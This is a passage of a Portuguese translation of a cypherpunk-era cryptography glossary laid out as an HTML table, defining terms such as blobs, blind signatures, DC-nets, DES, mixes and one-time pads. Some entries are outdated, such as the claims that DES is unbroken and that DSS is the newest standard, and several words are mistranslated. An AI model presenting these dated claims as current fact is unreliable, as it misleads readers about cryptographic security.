&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>comprometimento de bit&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px; text-align: justify;">por exemplo, jogando uma moeda e, em seguida, comprometendo-se com o valor sem ser capaz de mudar o resultado. O blob é uma primitiva criptográfica para isso.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>blinding, blinded signatures (assinaturas disfarçadas )&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px; text-align: justify;">Uma assinatura que o assinante não se lembra de ter feito. Uma assinatura disfarçada é sempre um protocolo cooperativo e o receptor da assinatura fornece ao signatário a informação de disfarce.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>blob&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px; text-align: justify;">o equivalente criptográfico de uma caixa trancada. Uma primitiva criptográfica para o comprometimento de bit, com as propriedades que os blobs podem representar um 0 ou um 1, que os outros não podem dizer estar procurando um 0 ou um 1, que o criador do blob pode "abrir" o blob para revelar o conteúdo, e que nenhum blob pode ser um 1 e um 0\. Um exemplo disso é uma moeda virada coberta por uma mão.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>canal&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px; text-align: justify;">o caminho pelo qual as mensagens são transmitidas. Os canais podem ser seguros ou inseguros, e podem ter bisbilhoteiros (ou inimigos, ou disruptores, etc.) que alteram mensagens, inserem e apagam mensagens, etc. Criptografia é o meio pelo qual as comunicações através de canais inseguros são protegidos.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>ataque de texto claro escolhido&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px; text-align: justify;">um ataque em que o criptoanalista escolhe o texto simples a ser cifrado, por exemplo, quando a posse de uma máquina ou algoritmo de cifra está na posse do criptoanalista.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>cifra&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px; text-align: justify;">uma forma secreta de escrita, usando substituição ou transposição de caracteres ou símbolos.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>texto cifrado&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px; text-align: justify;">o texto claro depois de ter sido cifrado.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>código&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px; text-align: justify;">um sistema criptográfico restrito onde palavras ou letras de uma mensagem são substituídas por outras palavras escolhidas de um livro de códigos. Não faz parte da criptologia moderna, mas ainda é útil.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>lançamento de moeda&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px; text-align: justify;">uma importante primitiva criptográfica, ou protocolo, no qual o equivalente de lançar uma moeda justa é possível. Implementado com blobs.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>conluio&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px; text-align: justify;">em que vários participantes cooperam para deduzir a identidade de um remetente ou destinatário, ou para quebrar uma cifra. A maioria dos sistemas criptográficos é sensível a algumas formas de conluio. Grande parte do trabalho na implementação de redes de controle de tráfego, por exemplo, envolve a garantia de que os coletores não podem isolar os remetentes de mensagens e, portanto, rastrear origens e destinos de correspondência.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>computationalmente seguro&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px; text-align: justify;">onde uma cifra não pode ser quebrada com os recursos de computação disponíveis, mas em teoria pode ser quebrada com recursos de computação suficientes. Contraste com incondicionalmente seguro.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>contramedida&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px; text-align: justify;">algo que você faz para impedir um atacante.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>credencial&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px; text-align: justify;">fatos ou afirmações sobre alguma entidade. Por exemplo, classificações de crédito, passaportes, reputações, status fiscal, registros de seguro, etc. No sistema atual, essas credenciais estão sendo cada vez mais interligadas. Assinaturas cegas podem ser usadas para criar credenciais anônimas.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>credencial clearinghouse (câmara de liquidação e compensação de credencial)&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px; text-align: justify;">bancos, agências de crédito, companhias de seguro, departamentos de polícia, etc., que correlacionam registros e decidem o status dos registros.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>criptoanálise&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px; text-align: justify;">métodos para atacar e quebrar cifras e sistemas criptográficos relacionados. As cifras podem ser quebradas, o tráfego pode ser analisado e as senhas podem ser quebradas. Computadores são naturalmente essenciais.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>criptoanarquia&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px; text-align: justify;">sistema econômico e político após a implantação de criptografia, e-mails não rastreáveis, pseudônimos digitais, votação criptográfica e dinheiro digital. Um trocadilho com "criptografia", que significa "hipem", e como quando Gore Vidal chamou William F. Buckley de "cripto fascista".&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>criptografia&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px; text-align: justify;">outro nome para criptologia.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>criptologia&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px; text-align: justify;">a ciência e o estudo de escrever, enviar, receber e decifrar mensagens secretas. Inclui autenticação, assinaturas digitais, ocultação de mensagens (esteganografia), criptoanálise e vários outros campos.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>ciberespaço&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">o domínio eletrônico, a Internet e os espaços gerados por computador. Alguns dizem que é a "realidade consensual" descrita em "Neuromancer". Outros dizem que é o sistema telefônico. Outros têm trabalho a fazer.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>Protocolo DC ou DC-Net&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">o protocolo dining cryptographers (jantar dos criptógrafos). As DC-Nets usam múltiplos participantes se comunicando com o protocolo DC.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>DES¹&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">"Data Encryption Standard" ou Padrão de Criptografia de Dados, proposto em 1977 pelo National Bureau of Standards (agora NIST), com assistência da National Security Agency (NSA). Com base na cifra "Lucifer" desenvolvida por Horst Feistel na IBM, o DES é um sistema criptográfico de chave secreta com ciclose blocos de dados de 64 bits por meio de várias permutações com uma chave de 56 bits controlando o roteamento. "Difusão" e "confusão" são combinados para formar uma cifra que ainda não sofreu criptoanálise (veja "DES, Segurança de"). O DES está em uso para transferências interbancárias, como uma codificação dentro de vários sistemas baseados em RSA, e está disponível para PCs.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>DES, Segurança de²&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">muitos especularam que a NSA colocou um backdoor (ou porta dos fundos) no DES para permitir a leitura de mensagens criptografadas no DES. Isso não foi provado. Sabe-se que o algoritmo original de Lucifer usou uma chave de 128 bits e que esse comprimento de chave foi reduzido para 64 bits (56 bits mais 8 bits de paridade), tornando a busca exaustiva muito mais fácil (até onde se sabe, busca por força bruta não foi feito, embora deva ser viável hoje). Shamir e Bihan usaram uma técnica chamada "criptoanálise diferencial" para reduzir a busca exaustiva necessária para ataques de texto puro escolhidos (mas sem importar para DES ordinários).&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>Criptoanálise Diferencial de Shamir-Biham&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">&lt;span class="">técnica para criptoanálise do DES.&lt;/span> &lt;span class="">Com um ataque de textoplano escolhido (chosen plaintext attack), eles reduziram o número de chaves DES que devem ser testadas de cerca de 2&lt;sup>56&lt;/sup> para cerca de 2&lt;sup>47&lt;/sup> ou menos.&lt;/span> &lt;span class="">Observe, no entanto, que raramente um invasor pode montar um chosen plaintext attack em sistemas DES.&lt;/span>&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>moeda digital, dinheiro digital&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">Protocolos para transferência de valor, monetário ou eletronicamente. Dinheiro digital geralmente se refere a sistemas que são anônimos. Sistemas monetários digitais podem ser usados para implementar qualquer quantidade que seja conservada, como pontos, massa, dólares, etc. Existem muitas variações dos sistemas de dinheiro digital, variando de números VISA a moedas digitais com assinaturas disfarçadas. &lt;span class="">Um tópico muito grande para uma única entrada de glossário.&lt;/span>&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>&lt;span id="result_box" class="short_text" tabindex="-1" lang="pt">pseudônimo digital&lt;/span>&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">basicamente, uma "identidade criptografada". Uma maneira de os indivíduos configurarem contas com várias organizações sem revelar mais informações do que desejam. &lt;span class="">Os usuários podem ter vários pseudônimos digitais, alguns usados apenas uma vez, alguns usados ao longo de muitos anos.&lt;/span> &lt;span class="">Idealmente, os pseudônimos podem ser vinculados somente à vontade do portador.&lt;/span> &lt;span class="">Na forma mais simples, uma chave pública pode servir como um pseudônimo digital e não precisa estar vinculada a uma identidade física.&lt;/span>&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>assinatura digital&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">Analogamente a uma assinatura escrita em um documento. Uma modificação em uma mensagem que somente o assinante pode fazer, mas que todos podem reconhecer. Pode ser usado legalmente para contratar à distância.&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>digital timestamping (carimbo de tempo digital)&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">uma função de um notário digital, em que alguma mensagem (uma música, roteiro, caderno de laboratório, contrato, etc.) é carimbada com um tempo que não pode (facilmente) ser falsificado.&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>protocolo dining cryptographers (jantar dos criptógrafos) (também conhecido como protocolo DC, DC nets)&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">o sistema de envio de mensagens não rastreável inventado por David Chaum. &lt;span class="">Nomeado após o problema do "jantar dos filósofos" na ciência da computação. Os participantes formam circuitos e passam mensagens de tal maneira que a origem não pode ser deduzida, exceto o conluio.&lt;/span> No nível mais simples, dois participantes compartilham uma chave entre eles. &lt;span class="">Um deles envia alguma mensagem real bit-a-bit com ou-exclusivo (XOR) entre a mensagem e a chave, enquanto o outro apenas envia a chave em si.&lt;/span> A mensagem real deste par de participantes é obtida pela XOR das duas saídas. &lt;span class="">No entanto, como ninguém além do par conhece a chave original, a mensagem real não pode ser atribuída a nenhum dos participantes.&lt;/span>&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>problema do logaritmo discreto&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">dados inteiros a, n e x, encontre algum inteiro m tal que a^m mod n = x, se m existir. A exponenciação modular, a^m mod n, a parte mais moderna, é simples de executar (e chips para fins especiais estão disponíveis), mas acredita-se que o problema inverso seja muito difícil, em geral. Assim, conjectura-se que a exponenciação modular é uma função unidirecional.&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>DSS, Digital Signature Standard (Padrão de Assinatura Digital)&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">o mais recente padrão do NIST (Instituto Nacional de Padrões e Tecnologia, sucessor do NBS) para assinaturas digitais. Com base na cifra de El Gamal, alguns consideram o substituto fraco e pobre para esquemas de assinatura baseados em RSA.&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>&lt;span id="result_box" class="short_text" tabindex="-1" lang="pt">escutas (eavesdropping), ou escutas telefônicas passivas&lt;/span>&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">interceptando mensagens sem detecção. As ondas de rádio podem ser interceptadas, as linhas telefônicas podem ser tocadas e os computadores podem ter emissões de RF detectadas. Até mesmo linhas de fibra óptica podem ser aproveitadas.&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>fatoração&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">Alguns números grandes são difíceis de fatorar. &lt;span class="">É conjecturado que não existem métodos factíveis - isto é, "fáceis", menos exponenciais em tamanho de número - de fatoração.&lt;/span> &lt;span class="">Também é um problema aberto se o RSA pode ser quebrado mais facilmente do que fatorando o módulo (por exemplo, a chave pública pode revelar informações que simplificam o problema).&lt;/span> &lt;span class="">Curiosamente, embora se acredite que a fatoração seja "difícil", não se sabe se se trata da classe dos problemas NP-difícil.&lt;/span> &lt;span class="">O professor Janek inventou um dispositivo de fatoração, mas acredita-se que ele seja fictício.&lt;/span>&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>&lt;span id="result_box" class="short_text" tabindex="-1" lang="pt">&lt;span class="">segurança teórica da informação "inquebrável"&lt;/span>&lt;/span>&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">segurança, na qual nenhuma quantidade de criptoanálise pode quebrar uma cifra ou sistema. One Time Pads são um exemplo (desde que os pads não sejam perdidos nem roubados nem usados mais de uma vez, é claro). O mesmo que incondicionalmente seguro.&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>chave&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">uma informação necessária para cifrar ou decifrar uma mensagem. As chaves podem ser roubadas, compradas, perdidas, etc., assim como com chaves físicas&lt;/span>.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>troca de chaves ou distribuição de chaves&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">o processo de compartilhar uma chave com alguma outra parte, no caso de cifras simétricas, ou de distribuir uma chave pública em uma cifra assimétrica. Uma questão importante é que as chaves sejam trocadas de forma confiável e sem compromisso. Diffie e Hellman criaram um desses esquemas, baseado no problema do logaritmo discreto.&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>Ataque de texto plano conhecido (known-plaintext attack)&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">uma criptoanálise de uma cifra onde os pares de texto simples e cifrado são conhecidos. Este ataque procura por uma chave desconhecida. Contraste com o ataque de texto plano escolhido, onde o criptoanalista também pode escolher o texto simples a ser cifrado.&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>email não rastreável&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">um sistema para enviar e receber correio sem rastreabilidade ou observabilidade. Receber correio anonimamente pode ser feito com a transmissão do correio de forma criptografada. Somente o destinatário pretendido (cuja identidade, ou nome verdadeiro, pode ser desconhecido do remetente) pode decifrar a mensagem. &lt;span class="">Enviar correio anonimamente aparentemente requer misturas ou uso do protocolo dining cryptographers (DC).&lt;/span>&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>&lt;span id="result_box" class="short_text" tabindex="-1" lang="pt">provas mínimas de divulgação&lt;/span> (minimum disclosure proofs)&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">outro nome para provas de conhecimento zero, favorecido por Chaum.&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>misturadores (mixes)&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">O termo de David Chaum para uma caixa que desempenha a função de misturar ou descorrelacionar mensagens de correio eletrônico recebidas e enviadas. A caixa também retira o envelope externo (ou seja, descriptografa com sua chave privada) e repassa a mensagem para o destinatário no envelope interno. &lt;span class="">Módulos resistentes a violações podem ser usados para evitar fraudes e divulgação forçada do mapeamento entre mensagens recebidas e enviadas.&lt;/span> &lt;span class="">Uma sequência de muitos reencaminhamentos faz com que o envio e o recebimento do rastreio sejam impossíveis.&lt;/span> Compare isso com a versão do software, o protocolo DC.&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>exponenciação modular&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">elevando um inteiro para o expoente de outro inteiro, módulo algum inteiro. Para inteiros &lt;var>a&lt;/var>, &lt;var>n&lt;/var> e &lt;var>m&lt;/var>, &lt;var>a&lt;sup>m&lt;/sup>&lt;/var> mod &lt;var>n&lt;/var>. Por exemplo, 5&lt;sup>3&lt;/sup> mod 100 = 25\. A exponenciação modular pode ser feita rapidamente com uma sequência de deslocamentos de bit e aps, e chips de propósito especial foram projetados. Veja também logaritmo discreto.&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>Agência de Segurança Nacional (NSA)&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">&lt;span class="">a maior agência de inteligência, responsável por fazer e quebrar cifras, por interceptar comunicações e por garantir a segurança dos computadores dos EUA.&lt;/span> &lt;span class="">Sediada em Fort Meade, Maryland, com muitos postos de escuta em todo o mundo.&lt;/span> &lt;span class="">A NSA financia pesquisa criptográfica e aconselha outras agências sobre questões criptográficas.&lt;/span> &lt;span class="">A NSA, uma vez, obviamente, teve criptógrafos líderes do mundo, mas isso pode não ser mais o caso&lt;/span>&lt;/span>.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>credencial negativa&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">uma credencial que você possui e que não quer que ninguém mais saiba, por exemplo, um pedido de falência. Uma versão formal de uma reputação negativa.&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>NP-completo&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">uma grande classe de problemas difíceis. "NP" significa tempo polinomial não determinístico, uma classe de problemas que, em geral, não possuem algoritmos viáveis para sua solução. Um problema é "completo" se qualquer outro problema de NP puder ser reduzido a esse problema. &lt;span class="">Muitos problemas combinatórios e algébricos importantes são NP-completos: o problema do vendedor ambulante, o problema do ciclo hamiltoniano, o problema da palavra e assim por diante&lt;/span>&lt;/span>.&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>oblivious transfer (OT) (transferência inconsciente)&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">uma primitiva criptográfica que envolve a transmissão probabilística de bits. O remetente não sabe se os bits foram recebidos.&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>one-time pad (OTP)&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">uma seqüência de bits ou símbolos selecionados aleatoriamente que é combinada com uma mensagem de texto simples para produzir o texto cifrado. &lt;span class="">Essa combinação pode estar alterando algumas letras, bit-a-bit com ou-exclusivo, etc.).&lt;/span> &lt;span class="">O destinatário, que também possui uma cópia do one time pad, pode recuperar facilmente o texto simples.&lt;/span> &lt;span class="">Desde que o pad seja usado apenas uma vez e depois destruído, e não esteja disponível para um interceptador, o sistema é perfeitamente seguro, ou seja, é teoricamente seguro.&lt;/span> &lt;span class="">A distribuição de chaves (o bloco) é obviamente uma preocupação prática, mas considere os CD-ROMs.&lt;/span>&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>função de via única (one-way function)&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">uma funçao que é fácil calcular em uma direção, mas difícil de encontrar qualquer inversa, por exemplo&lt;span id="result_box" class="" tabindex="-1" lang="pt">&lt;span class="">,&lt;/span> &lt;span class="">exponenciação modular, onde o problema inverso é conhecido como o problema do logaritmo discreto.&lt;/span> &lt;span class="">Compare o caso especial de funções unidirecionais de _trapdoor_.&lt;/span> &lt;span class="">Um exemplo de operação unidirecional é a multiplicação: é fácil multiplicar dois números primos de 100 dígitos para produzir um número de 200 dígitos, mas é difícil fatorar esse número de 200 dígitos.&lt;/span>&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>P ?=? NP&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">Certamente o mais importante problema não resolvido na teoria da complexidade. Se P = NP, então a criptografia como a conhecemos hoje não existe. Se P = NP, todos os problemas de NP são "fáceis".&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>paping (papeando)&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">enviar mensagens extras para confundir bisbilhoteiros e para derrotar a análise de tráfego. Também imitando bits aleatórios a uma mensagem a ser codificada.&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>texto plano (plaintext)&lt;b>&lt;/td>
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; width: 334.367px;">&lt;span id="result_box" class="" tabindex="-1" lang="pt">também chamado de texto claro, o texto a ser cifrado.&lt;/span>&lt;/td>
&lt;/tr>
&lt;tr style="border-collapse: collapse; border: none;">
&lt;td style="border: none; vertical-align: top; border-collapse: collapse; text-align: right; width: 235.967px;">&lt;b>Pretty Good Privacy (PGP)&lt;b>&lt;/td>
